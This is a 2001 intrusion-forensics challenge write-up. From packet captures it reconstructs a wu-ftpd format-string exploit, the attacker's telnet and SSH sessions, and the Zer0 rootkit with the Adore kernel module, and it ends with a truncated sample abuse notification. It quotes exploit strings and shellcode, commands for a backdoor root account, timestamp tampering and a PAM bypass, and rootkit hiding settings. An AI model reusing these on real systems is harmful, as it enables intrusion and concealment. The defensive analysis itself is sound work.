Scan 19 0. Initial information gathering After a first analysis, we gathered the following informations : Two different hosts were used to conduct the attack : - a compromised host in Canada, 207.35.251.172, to execute all the "heavy" things : the remote vulnerability exploitation, a TCP Syn scan (heavy means a noisy activity that generates a lot of traffic and with easy detectable attack patterns.) Whois information : GRICS - Canadian School Project (NETBLK-GRICS-CA) GRICS01 207.35.0.0 - 207.35.255.255 B-Line Technical Services (NETBLK-B-LINE-CA) B-LINE-CA 207.35.251.160 - 207.35.251.191 - a Windows PC in Romania, 217.156.93.166, for the light things : a quick probe, some telnet and ssh connections. This second address could be : - a Windows computer (the ssh client used is a Windows client), - the external ip address of a network address translation gateway. The tcp source port of any connection initiated by 217.156.93.166 is always greater than 61000 ; this is typical of a NAT connection. Behind this gateway, the attacker may operate his attack with his own Windows computer. The NAT allows him to hide his real location. Whois information : inetnum: 217.156.93.0 - 217.156.93.255 netname: MIDO-IMPEX descr: S.C. MIDO IMPEX S.R.L. descr: 9 C 5 MARASESTI STREET, 5500, BACAU, ROMANIA country: RO This is a PC shop in Romania. They could be operating a dialup server doing NAT. ------------------------------------------------------------------------------- 1. Which vulnerability did the intruder exploit? The attacker exploited a vulnerability in wu-ftpd 2.6.0. This vulnerability is based on a string format bug in the SITE EXEC command (CAN-2000-0573, see http://www.securityfocus.org/bid/1387) The attack patterns extracted from the network traces lead us to TESOwu (7350wu) : http://www.team-teso.net/releases/7350wu-v5.tar.gz This is confirmed by the fact that this program is present in the rootkits files : the strings extracted from the executable (named "zxploit") clearly shows 7350wu and teso. Commented network traces of the attack : tcpdump -nxr newdat3.log ip host 207.35.251.172 |hex2ascii 01:55:45.198773 207.35.251.172.2243 > 192.168.1.102.21: S 3480775092:348077509 2(0) win 32120 (DF) 01:55:45.201674 192.168.1.102.21 > 207.35.251.172.2243: S 3956112893:395611289 3(0) ack 3480775093 win 32120 (DF) 01:55:45.236139 207.35.251.172.2243 > 192.168.1.102.21: . ack 1 win 32120 (DF) 01:55:52.022230 192.168.1.102.21 > 207.35.251.172.2243: P 1:79(78) ack 1 win 3 2120 (DF) [tos 0x10] 220 ns1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. 01:55:52.058647 207.35.251.172.2243 > 192.168.1.102.21: . ack 79 win 32120 (DF) 01:55:52.062135 207.35.251.172.2243 > 192.168.1.102.21: P 1:10(9) ack 79 win 3 2120 (DF) USER ftp 01:55:52.063940 192.168.1.102.21 > 207.35.251.172.2243: . ack 10 win 32120 (DF) [tos 0x10] 01:55:52.111550 192.168.1.102.21 > 207.35.251.172.2243: P 79:147(68) ack 10 wi n 32120 (DF) [tos 0x10] 331 Guest login ok, send your complete e-mail address as password. 01:55:52.151102 207.35.251.172.2243 > 192.168.1.102.21: P 10:24(14) ack 147 wi n 32120 (DF) PASS mozilla@ Phase 1 - classical anonymous ftp login 01:55:52.169162 192.168.1.102.21 > 207.35.251.172.2243: . ack 24 win 32120 (DF) [tos 0x10] 01:55:52.192591 192.168.1.102.21 > 207.35.251.172.2243: P 147:195(48) ack 24 w in 32120 (DF) [tos 0x10] 230 Guest login ok, access restrictions apply. 01:55:52.235847 207.35.251.172.2243 > 192.168.1.102.21: P 24:48(24) ack 195 wi n 32120 (DF) SITE EXEC %020d|%.f%.f| Phase 2 - testing for the vulnerability 01:55:52.450121 192.168.1.102.21 > 207.35.251.172.2243: P 195:226(31) ack 48 w in 32120 (DF) [tos 0x10] 200-00000000000000000049|0-2| 01:55:52.502357 207.35.251.172.2243 > 192.168.1.102.21: . ack 226 win 32120 (DF) 01:55:52.504690 192.168.1.102.21 > 207.35.251.172.2243: P 226:257(31) ack 48 w in 32120 (DF) [tos 0x10] 200 (end of '%020d|%.f%.f|') Conclusion : it is vulnerable to a format string attack. 7350wu goes ahead calculating offsets : 01:55:52.552709 207.35.251.172.2243 > 192.168.1.102.21: P 48:464(416) ack 257 win 32120 (DF) SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%0 8x|%08x| 01:55:52.565400 192.168.1.102.21 > 207.35.251.172.2243: P 257:430(173) ack 464 win 32120 (DF) [tos 0x10] 200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-2000000 00000000000000000000000000000000000000000000000000000000000000000000-2-240nan|bfff dc7e|00000000| ... about 30 SITE EXEC with each time a different format string in order to calculate the right offsets ; here are the different phases (from the 7350wu.c source) : - finding buffer distance on the stack - finding source buffer address - find destination buffer address - calculating return address - getting return address location 01:55:58.372588 207.35.251.172.2243 > 192.168.1.102.21: P 17001:17512(511) ack 360 59 win 31856 (DF) SITE EXEC 7 $Ðÿÿ¿PsPs%Ðÿÿ¿PsPs&Ðÿÿ¿PsPs'Ðÿÿ¿%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f% .f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%. f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f %.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%33d%n%120d%n%33d%n%192d%n~P~P~P~P~P~ P~P~P~P~P~P~P~P3Û÷ã°.~KÌh²~TÍ~@ÿÿä 01:55:59.485710 207.35.251.172.2243 > 192.168.1.102.21: P 17512:17661(149) ack 370 52 win 31856 (DF) 1À1Û1É°FÍ~@1À1ÛC~IÙA°?Í~@ëk^1À1É~M^.~HF.f¹ÿ.°'Í~@1À~M^.°=Í~@1À1Û~M^.~IC.1ÉþÉ1À~M^. °.Í~@þÉuó1À~HF.~M^.°=Í~@þ.°0þÈ~HF.1À~HF.~Iv.~IF.~Ió~MN.~MV.°.Í~@1À1Û°.Í~@è~Pÿÿÿ0bi n0sh1..11 last phase : Exploit The final format string, crafted using the numbers determined in the previous phases opens a root shell. -------------------------------------------------------------------------------- 2. What ways, and in what order, did the intruder use to connect and run commands on the system? A. 01:52:55 - 01:54:16 : Reckon probe B. 01:55:45 - 02:26:11 : FTP attack C. 02:13:27 - 02:54:55 : Telnet logins D. 02:44:48 - 02:46:03 : Scan E. 02:59:57 - 03:00:29 : Another telnet login F. 02:51:58 - 03:11:25 : SSH backdoor A. Reckon probe - Time : Mon Sep 17 01:52:55 - 01:54:16 Before the ftp exploit, the attacker made an attempt to check if the backdoors installed in a previous breakin were still active. The probe consists of : - a telnet connection where the attacker tried to connect twice as nobody and once as uucp (the login were rejected), - a tcp connection attempt on port 24 (ssh backdoor port), - a tcp connection attempt on port 6666 (default ssh backdoor port when no argument is given to the rootkit install script), + Telnet connection : tcpdump -nr newdat3.log 'ip src 217.156.93.166 and tcp port 61200 and tcp[13]&2=2' 01:52:51.989869 217.156.93.166.61200 > 192.168.1.102.23: S 38548167:38548167(0 ) win 8192 (DF) Session data : Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i586 login: nobody Password: Login incorrect login: nobody Password: Login incorrect login: uucp Password: Login timed out after 60 seconds (the passwords typed for nobody were ultravirus and virus, no password was entered for uucp) + connection attempts on backdoor port : pcapmerge -s "2001-09-17 01:54:02" -e "2001-09-17 01:55:00" -r newdat3.log 'ip host 217.156.93.166' | tcpdump -nr - 01:54:02.316596 217.156.93.166.61202 > 192.168.1.102.24: S 38618743:38618743(0 ) win 8192 (DF) 01:54:02.319441 192.168.1.102.24 > 217.156.93.166.61202: R 0:0(0) ack 38618744 win 0 01:54:02.981018 217.156.93.166.61202 > 192.168.1.102.24: S 38618743:38618743(0 ) win 8192 (DF) 01:54:02.983048 192.168.1.102.24 > 217.156.93.166.61202: R 0:0(0) ack 1 win 0 01:54:03.580409 217.156.93.166.61202 > 192.168.1.102.24: S 38618743:38618743(0 ) win 8192 (DF) 01:54:03.582269 192.168.1.102.24 > 217.156.93.166.61202: R 0:0(0) ack 1 win 0 01:54:04.185016 217.156.93.166.61202 > 192.168.1.102.24: S 38618743:38618743(0 ) win 8192 (DF) 01:54:04.186888 192.168.1.102.24 > 217.156.93.166.61202: R 0:0(0) ack 1 win 0 01:54:14.859871 217.156.93.166.61203 > 192.168.1.102.6666: S 38631298:38631298 (0) win 8192 (DF) 01:54:14.964749 192.168.1.102.6666 > 217.156.93.166.61203: R 0:0(0) ack 38631299 win 0 01:54:15.671129 217.156.93.166.61203 > 192.168.1.102.6666: S 38631298:38631298 (0) win 8192 (DF) 01:54:15.673237 192.168.1.102.6666 > 217.156.93.166.61203: R 0:0(0) ack 1 win 0 01:54:16.289692 217.156.93.166.61203 > 192.168.1.102.6666: S 38631298:38631298 (0) win 8192 (DF) 01:54:16.291859 192.168.1.102.6666 > 217.156.93.166.61203: R 0:0(0) ack 1 win 0 01:54:16.990184 217.156.93.166.61203 > 192.168.1.102.6666: S 38631298:38631298 (0) win 8192 (DF) 01:54:16.992153 192.168.1.102.6666 > 217.156.93.166.61203: R 0:0(0) ack 1 win 0 The 2 connection attempts were rejected by a tcp RESET. B. FTP attack - Time : 01:55:45 - 02:26:11 + Looking around The root shell obtained by exploiting wu-ftpd launches "id" as the very first command. 01:56:01.491606 207.35.251.172.2243 > 192.168.1.102.21 id; 01:56:01.742466 192.168.1.102.21 > 207.35.251.172.2243 uid=0(root) gid=0(root) groups=50(ftp) >From now on, the attacker has an interactive session. 01:56:09.115804 207.35.251.172.2243 > 192.168.1.102.21 w 01:56:12.291635 192.168.1.102.21 > 207.35.251.172.2243 4:17am up 3 days, 10:25, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT The attacker is looking around in the newly compromised system, exploring several directories. + Clearing nobody passwd : 02:12:54.474110 207.35.251.172.2243 > 192.168.1.102.21 passwd nobody -d 02:12:57.146578 192.168.1.102.21 Changing password for user nobody Removing password for user nobody passwd: Success + Creating account dns (uid 0) and clearing its password 02:22:12.427203 207.35.251.172.2243 > 192.168.1.102.21 /usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash 02:22:12.492582 207.35.251.172.2243 > 192.168.1.102.21 passwd dns -d Some more file system visiting is done. After 02:26:11, the exploited ftp service was not used anymore. C. Telnet logins - Time : 02:13:27 - 02:54:55 + Telnet connection 1 : tcpdump -nr newdat3.log 'ip src 217.156.93.166 and tcp port 61209 and tcp[13]&2=2' 02:13:27.206847 217.156.93.166.61209 > 192.168.1.102.23: S 39784968:39784968(0 ) win 8192 (DF) This is the data extracted from the first telnet session : Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i586 login: nobody sh: ulimit: cannot modify limit: Operation not permitted sh-2.03$ w 4:32am up 3 days, 10:41, 1 user, load average: 0.00, 0.21, 0.19 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT nobody pts/0 217.156.93.166 4:32am 0.00s 1.14s 0.17s w sh-2.03$ logout The telnet login attempt as user nobody succeeded (remember the nobody password was cleared just a minute ago through the ftp exploit). It looks like it is just a test. + Telnet connection 2 : tcpdump -nr newdat3.log 'ip src 217.156.93.166 and tcp port 61216 and tcp[13]&2=2' 02:32:10.206561 217.156.93.166.61216 > 192.168.1.102.23: S 40909260:40909260(0 ) win 8192 (DF) Commented timeline of the telnet session : [02:32:18] logged in as nobody [02:32:26] "su dns" The attacker immediately issued this command to gain root privileges [02:32:34] "w" [02:32:44] "cd /tmp" [02:32:44] "cd /tmp" [02:32:50] "mc -s" [02:32:55] "ftp ftp.teleport.[DEL]" The attacker changes his mind ... [02:33:02] "cd /dev/rd" ...because he is in the wrong directory. Placing the rootkits in some /dev sub-directory is very common. [02:33:09] "ftp teleport.go" [02:41:05] [RETURN] 8 minutes passed between the moment he typed this ftp command and and the moment he hit RETURN... [02:41:08] [DEL][DEL][DEL]... Canceling the command ; he forgot something [02:41:13] "mkdir sdc0" [02:41:31] "cd sdc0" Creating /dev/rd/sdc0 and changing directory. [02:41:32] "ftp teleport.go.ro" [02:41:39] "teleport" [02:41:43] "gunoierul" Connection on a Romanian FTP server login "teleport", password "gunoierul" It is probably a hacked account. [02:41:52] "CWD new" [02:42:06] "RETR Zer0.tar.gz" File transfer on port 1026 [end : 02:42:15] [02:42:26] "by" then several backspace characters Changing his mind again. [02:42:34] "RETR copy.tar.gz" File transfer on port 1027 [end : 02:42:51] [02:42:58] "RETR ooty.tar.gz" File transfer on port 1028 [end : 02:43:00] [02:43:04] "bye" Ending FTP session on teleport.go.ro Back to the shell. [02:43:07] "tar zxvf Zer0.tar.gz" Extraction of the rootkit. [02:47:17] ./Go 24 4 minutes passed before this command was issued... (see section D, Scan) Go is the rootkit install script. The parameter (24) is the port for the ssh backdoor. The rootkit automatic installation procedure ends at : 02:50:29.780048 ^[[1;37m====================================================================^[[0m^M ^[[1;32m HIHIHI.. CICA GATA.. AM TERMINAT!! ^[[0m Zer0... by Viruzzel^M ^[[1;37m====================================================================^[[0m^M No more commands were issued in this telnet session. The attacker logged out at : 02:54:55.170515 exit^M The connection was terminated at 02:55:01 D. Scan - Time : 02:44:48 - 02:46:03 A TCP SYN Scan was launched right after the end of the rootkit download and the start of the rootkit installation. It originated from the FTP attacking host (the compromised computer in Canada) : 207.35.251.172 About 10500 ports were scanned on the attacked host. The scan revealed the following informations : pcapmerge -s "2001-09-17 02:44:00" -e "2001-09-17 02:46:04" -r newdat3.log 'ip src 192.168.1.102 and tcp[13]&15=0' | tcpdump -nr - 02:44:54.326253 192.168.1.102.23 > 207.35.251.172.3202: . ack 2301710427 win 3 2120 (DF) 02:44:58.370567 192.168.1.102.1024 > 207.35.251.172.3946: . ack 2313955185 win 32120 (DF) 02:45:06.319938 192.168.1.102.21 > 207.35.251.172.1243: . ack 2322229297 win 3 2120 (DF) 02:45:15.635523 192.168.1.102.513 > 207.35.251.172.2796: . ack 2322615478 win 32120 (DF) 02:45:17.698088 192.168.1.102.25 > 207.35.251.172.3123: . ack 2328956149 win 3 2120 (DF) 02:45:18.158242 192.168.1.102.1029 > 207.35.251.172.113: . ack 2337184883 win 32120 (DF) 02:45:18.277659 192.168.1.102.1029 > 207.35.251.172.113: . ack 35 win 32120 (DF) 02:45:18.388123 192.168.1.102.1029 > 207.35.251.172.113: . ack 36 win 32120 (DF) 02:45:29.334608 192.168.1.102.98 > 207.35.251.172.1109: . ack 2345369185 win 3 2120 (DF) 02:45:32.527334 192.168.1.102.111 > 207.35.251.172.1508: . ack 2351584889 win 32120 (DF) 02:45:38.884097 192.168.1.102.515 > 207.35.251.172.2082: . ack 2354851355 win 32120 (DF) 02:45:41.925178 192.168.1.102.921 > 207.35.251.172.2460: . ack 2349959303 win 32120 (DF) 02:46:02.168199 192.168.1.102.79 > 207.35.251.172.1158: . ack 2382373692 win 3 2120 (DF) TCP Ports 21, 23, 25, 79, 98, 111, 513, 515, 921, 1024, 1029 are opened on the attacked host. The attacker wanted to double check for already installed backdoors or other vulnerabilities (the rootkit files also include a script to patch vulnerabilities on the attacked system). E. Another telnet login - Time : 02:59:57 - 03:00:29 The rootkit install script set up a third passwordless account : uucp. In the rootkit, the program "vrssnk" modifies the PAM login configuration to permit login without a password from users listed in /usr/X11R6/lib/X11/.~/l.no. The attacker tested this access with telnet : tcpdump -nr newdat3.log 'ip src 217.156.93.166 and tcp port 61227 and tcp[13]&2=2' 02:59:57.150510 217.156.93.166.61227 > 192.168.1.102.23: S 42578115:42578115(0) win 8192 (DF) Session data : Red Hat Linux release 6.2 (Zoot) Kernel 2.2.14-5.0 on an i586 login: uucp sh: ulimit: cannot modify limit: Operation not permitted sh-2.03$ logout F. SSH backdoor on port 24 - Time : 02:51:58 - 03:11:25 There were 3 distinct ssh connections : pcapmerge -s "2001-09-17 02:50:00" -e "2001-09-17 03:08:00" -r newdat3.log 'ip src 217.156.93.166 and tcp port 24 and tcp[13]&2=2' | tcpdump -nr- 02:51:58.559708 217.156.93.166.61223 > 192.168.1.102.24: S 42098971:42098971(0 ) win 8192 (DF) 02:59:47.852723 217.156.93.166.61226 > 192.168.1.102.24: S 42568803:42568803(0 ) win 8192 (DF) 03:07:16.753385 217.156.93.166.61230 > 192.168.1.102.24: S 43018220:43018220(0 ) win 8192 (DF) They are all encrypted of course, but we know at least that the SSH client used is PuTTY (a Windows client) : 02:51:59.531660 217.156.93.166.61223 > 192.168.1.102.24 SSH-1.5-PuTTY We rely upon the syslog transcript to determine what the hacker did in the ssh session : 02:55:06.620777 <174>-sh: HISTORY: PID=9382 UID=0 cd /dev/rd/sdc0 02:55:08.509045 <174>-sh: HISTORY: PID=9382 UID=0 ls 02:55:18.561679 <174>-sh: HISTORY: PID=9382 UID=0 rm Zer0.tar.gz 02:55:21.207608 <174>-sh: HISTORY: PID=9382 UID=0 ls 02:55:54.291751 <174>-sh: HISTORY: PID=9382 UID=0 alias ls='ls --color' 02:55:56.748349 <174>-sh: HISTORY: PID=9382 UID=0 ls 02:58:23.243036 <174>-sh: HISTORY: PID=9382 UID=0 ls 02:58:23.243807 <174>-sh: HISTORY: PID=9382 UID=0 passwd nobody 02:58:40.942483 S<38>PAM_pwdb[9406]: password for (nobody/99) changed by ((null)/0) The attacker erased the rootkit tarball and changed the nobody password. 03:01:22.769990 (<174>-sh: HISTORY: PID=9382 UID=0 ping www.yahoo.com 03:02:02.741510 <174>-sh: HISTORY: PID=9382 UID=0 pico /etc/rc.d/rc3.d/S50inet The attacker checked if the line "sh /dev/rd/nscd.init" was in place in the inet service init script. This line is put by the rootkit install script to make all the tools reboot-proof. The script "nscd.init" starts the ssh backdoor, a sniffer, the Adore kernel module, and hides some files. The attacker could have added something in /etc/rc.d/rc3.d/S50inet. 03:02:18.309588 <174>-sh: HISTORY: PID=9382 UID=0 ls 03:02:42.974762 <174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz /usr/X11R6/bin/.,/copy/ 03:02:56.827304 H<174>-sh: HISTORY: PID=9382 UID=0 cd /usr/X11R6/bin/.,/copy/ 03:03:07.875878 )<174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz ../ 03:03:09.522064 <174>-sh: HISTORY: PID=9382 UID=0 ls 03:03:14.609409 <174>-sh: HISTORY: PID=9382 UID=0 cd .. 03:03:20.255901 <174>-sh: HISTORY: PID=9382 UID=0 tar zxvf copy.tar.gz 03:04:03.777359 <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * 03:04:05.901249 <174>-sh: HISTORY: PID=9382 UID=0 ls 03:04:18.792918 <174>-sh: HISTORY: PID=9382 UID=0 rm copy.tar.gz 03:04:21.369867 <174>-sh: HISTORY: PID=9382 UID=0 cd copy 03:04:25.912240 <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * 03:04:28.350149 <174>-sh: HISTORY: PID=9382 UID=0 ls Installed another rootkit file (copy.tar.gz) in "/usr/X11R6/bin/.," It contains mass-exploit tools. Last command run : 03:07:33.792486 <174>-sh: HISTORY: PID=9440 UID=0 uname -r 03:07:58.732757 <174>-sh: HISTORY: PID=9440 UID=0 pstree To check if the processes are well hidden. -------------------------------------------------------------------------------- 3. How did the intruder try to hide his edits from the MAC times? + This is how the attacker proceeded in the FTP exploit session : Creating phony directories : 02:22:11.939925 207.35.251.172.2243 > 192.168.1.102.21 mkdir -p /etc/X11/applnk/Internet/.etc 02:22:12.209385 207.35.251.172.2243 > 192.168.1.102.21 mkdir -p /etc/X11/applnk/Internet/.etcpasswd Saving the MAC time of /etc/passwd and /etc in these phony files , then clearing the nobody account passwd : 02:22:12.274420 207.35.251.172.2243 > 192.168.1.102.21 touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd touch -acmr /etc /etc/X11/applnk/Internet/.etc passwd nobody -d Creating the account "dns" and clearing the password (this modifies /etc/passwd time) 02:22:12.427203 207.35.251.172.2243 > 192.168.1.102.21 /usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash 02:22:12.492582 207.35.251.172.2243 > 192.168.1.102.21 passwd dns -d Restoring the MAC time 02:22:12.492582 207.35.251.172.2243 > 192.168.1.102.21 touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd 02:22:12.635107 207.35.251.172.2243 > 192.168.1.102.21 touch -acmr /etc/X11/applnk/Internet/.etc /etc + The rootkit install script (Go) does something similar : ... #/bin mkdir -p /tmp/.dir1/ #/usr/X11R6/bin/ mkdir -p /tmp/.dir2/ #/etc/rc.d/rc3.d/ mkdir -p /tmp/.dir3/ touch -acmr /bin /tmp/.dir1 touch -acmr /usr/X11R6/bin /tmp/.dir2 touch -acmr /etc/rc.d/rc3.d /tmp/.dir3 ... [modifications affecting the directories] touch -acmr /tmp/.dir1 /bin touch -acmr /tmp/.dir2 /usr/X11R6/bin touch -acmr /tmp/.dir3 /etc/rc.d/rc3.d -------------------------------------------------------------------------------- 4. The intruder downloaded rootkits, what were they called? Are they new/custom rootkits? The main rootkit is based on t0rn but was customized. It is named "Zer0", and it reads "Modificat de mine... Viruzzel" (modified by me... Viruzzel). The major modification is the use of a loadable kernel module (Adore) to hide files and processes. See the next section for more informations about the content of the rootkit files. -------------------------------------------------------------------------------- 5. Recover (tell how you did it too) the rootkits from the snort binary capture I wrote (i wanted to learn how libpcap works) a little program that walks through the packets and dumps the associated data. I isolated the file transfer with a simple tcpdump filter. extract 'ip host 193.231.236.42 and tcp dst port 1026' \ Zer0.tar.gz extract 'ip host 193.231.236.42 and tcp dst port 1027' \ copy.tar.gz extract 'ip host 193.231.236.42 and tcp dst port 1028' \ ooty.tar.gz Files : -rw-r--r-- 1 jean staff 139711 Oct 12 02:01 Zer0.tar.gz -rw-r--r-- 1 jean staff 265189 Oct 12 02:03 copy.tar.gz -rw-r--r-- 1 jean staff 14847 Oct 12 02:03 ooty.tar.gz Zer0 contains one script, 4 tar files and a header file : -rwxr-xr-x george/george 9458 2001-09-17 02:26:34 Zer0/Go Install script -rw-r--r-- george/george 100569 2001-09-09 22:38:11 Zer0/ssh.tgz SSH files to setup the backdoor -rw-rw-r-- george/george 11364 2001-09-10 11:01:02 Zer0/tls.tgz Tools : linsniffer, sauber (log cleaner), patch script, -rw-r--r-- george/george 11970 2001-09-13 01:10:57 Zer0/adr.tgz Adore sources -rw-r--r-- george/george 11723 2001-09-09 22:43:17 Zer0/adr2.tgz Adore, executable version -rw-r--r-- george/george 2333 2001-09-17 02:27:45 Zer0/adore.h Header file for Adore copy.tar.gz contains mass-exploit tools : ip generator, wuftpd scanner, wuftpd rooter and scripts that wraps all the tools together. ooty.tar.gz contains local exploit programs. -------------------------------------------------------------------------------- 6. What does the rootkit do to hide the presence of the attacker on the system? It installs a kernel module named Adore. This module hides files and processes by redefining system calls. It was configured and compiled by the rootkit install script : ... mv -f adore.h /usr/X11R6/bin/.,/copy/adr/ ... cd /usr/X11R6/bin/.,/copy/adr/ ./cnfad make if [ -x /usr/X11R6/bin/.,/copy/adr/ava ]; then echo "${GRN}ava found... proceeding!${RES} " Compiling Adore (from the installation script output) : ... cc -c -I/usr/src/linux/include -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS adore.c -o adore.o adore.c:484: warning: `/*' within comment cc -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS ava.c libinvisible.c -o ava cc -I/usr/src/linux/include -c -O2 -Wall -DELITE_CMD=107613 -DELITE_UID=30 -DCURRENT_ADORE=39 -DADORE_KEY=\"labutza\" -DMODVERSIONS cleaner.c ... This compilations produces 2 files : adore.o, the kernel module, and ava, the client to communicate with the kernel module. The following files and directories are hidden by the rootkit scripts Go and nscd.init (using "ava h file") : /usr/X11R6/bin/., /usr/info/.t0rn /dev/rd/sdc0 /dev/rd/nscd.init /etc/rc.d/rc3.d/S50inet /usr/X11R6/lib/X11/.~ Adore also hides these services and processes (from Zer0/adore.h) : char *HIDDEN_SERVICES[] = {":ircd", ":24", ":666", ":443", ":60000", NULL}; char *HIDDEN_PROCESSES[] = {"zsh", "nscdx", "vrssnf", "psybnc", NULL}; Adore launches a root shell if provided with the right number (ELITE COMMAND). This is a random number generated during configuration. Here, it is 107613. The adore key ("labutza") is used by ava (the client) to submit commands to the running Adore module. -------------------------------------------------------------------------------- 7. What did you learn from this exercise? I learned a lot about kernel modules, format strings and all the things I was not familiar with before starting this challenge. Rootkits are getting more sophisticated. I analysed a couple of compromised host but the files were never very well hidden. One more interesting thing is about the attacker behaviour. He can use more than one host in his attack strategies. -------------------------------------------------------------------------------- 8. How long did this challenge take you? 9h -------------------------------------------------------------------------------- Bonus Questions: Based on this challenge, write an example letter of notification to the source owner that attacked the system. Include any evidence or logs that you feel important. More whois information : B-Line Technical Services (NETBLK-B-LINE-CA) 800 Rene Levesque, Flr.3 Montreal, Quebec H3B 1X9 CA Netname: B-LINE-CA Netblock: 207.35.251.160 - 207.35.251.191 Coordinator: Daoust, Philippe (PD135-ARIN) noc@in.bell.ca 1-800-450-7771 +1 (416) 215-5423 ... This company (B-Line Technical Services) has the domain btsi.ca whose listed technical contact is : Tech-Name: Chap Chau Tech-Title: Tech-Postal: B-Line Technical Services Inc. 20 Adelaide St. East suite 205 Toronto ON M5C 2T6 Canada Tech-Phone: (416) 642-2874 x222 Tech-Fax: Tech-Mailbox: cchau@btsi.ca To : cchau@btsi.ca, abuse@btsi.ca, info@btsi.ca, security@btsi.ca, postmaster@btsi.ca ---------------------------------------------------------------------- Dear Sir, On Monday September 17 2001, the host 207.35.251.172 in your network has been used to attack one of our system. Your host is most likely compromised. We have detailed logs of the attack and we can provide you some help to analyse your host. First and foremost, you must disconnect it from the network. Since most of the attack process is done automaticaly, we believe the attacker used the same techniques to take complete control of the system. A loadable kernel module called Adore is probably installed to hide files and processes. So you won't be able to see most of the things listed below with a simple ls or ps command. Here is a brief summary of the actions conducted from your host : Mon Sep 17 01:55:45 - 02:26:11 : Exploitation of a wuftpd vulnerability to obtain root access on our system Clearing of the nobody password ; creation of a passwordless "dns" account Downloading of several rootkit files Mon Sep 17 02:44:48 - 02:46:03 : TCP SYN Scan on about 10500 unique ports The attack involved another host in Romania which was used to complete the rootkits installation and make further use of the compromised system. This rootkit includes a ssh backdoor, a network sniffer, and a loadable kernel module to hide files and processes. Here are some relevant things to check on your host : 1) finding the backdoor Type the following command : telnet localhost 24 or telnet localhost 6666 to connect to the backdoor. This should give you the string : SSH-1.5-1.2.27 It means that there is SSH backdoor installed on port 24 or 6666. If you can't find it, use a TCP port scanner like Nmap. You should at least find one open port. These commands reveal some files used by the SSH backdoor : ls -l /etc/ttyhash cd /usr/info/.t0rn/ ls -l ( you should have something like this : -rwxr-xr-x 1 root root 524 Mar 13 2000 shhk* -rwxr-xr-x 1 root root 328 Mar 13 2000 shhk.pub* -rwxr-xr-x 1 root root 512 Mar 13 2000 shrs* -rw-r--r-- 1 root root 496 Sep 17 02:47 shdcf -rw-r--r-- 1 root root 28 Sep 9 07:19 shhash ) cd /usr/X11R6/bin/.,/copy/adr ls -l nscdx -rwxr-xr-x 1 root root 201552 Sep 17 02:47 nscdx* 2) Looking for other compromised files The command : grep X11 /etc/pam.d/login /etc/pam.d/su should display : auth sufficient /lib/security/pam_listfile.so item=user sense=allow file=/usr/X11R6/lib/X11/.~/l.no onerr=fail auth sufficient /lib/security/pam_listfile.so item=user sense=allow file=/usr/X11R6/lib/X11/.~/s.no onerr=fail And the commands : cd '/usr/X11R6/lib/X11/.~' cat l.no should give you the string "uucp" These modifications of the PAM configuration allows user uucp to login without a password. Edit the following files : cd /etc/rc.d/rc3.d/ vi S50inet This is a startup script ; it ends with the following line : sh /dev/rd/nscd.init cd /dev/rd vi nscd.init This script should contain some lines to start the backdoor, the Adore kernel module, a network sniffer and to hide some files. cd /usr/X11R6/bin/.,/copy/adr/ vi stad This is the startup script for the adore Kernel module vi tcp.log This is the data captured on your network by the sniffer. It could contain password. This could give access to other systems in your network. ls -l vrssnf This is the sniffer executable ls -l zsh This is a setuid bash shell. 3) Finding the attacking tools cd /usr/X11R6/bin/.,/copy ls -l mj2 mj3 root_them process_list generate zxploit wu-scan These are tools to mass-exploit a vulnerability in wu-ftpd. Look for a file named ips.wu. If it exists, it contains ip addresses of other potential victims of this attacker. 4) Logs Unless you do remote logging with syslog, the logs have been cleaned during the attack. You could check into your router traffic log if any for connection on the ftp port, backdoor port. Recovery instructions : - backup all the datas of your system - if you can, make a separate copy of your system disk including the /usr directory (this could help for further analysis) - send a copy of all the relevant informations you found to your local CERT. - format and reinstall the system, - apply all the security patches, - change all the passwords, - audit all the systems in the perimeter, - take appropriate measures to reinforce the security of your systems and network You will find more 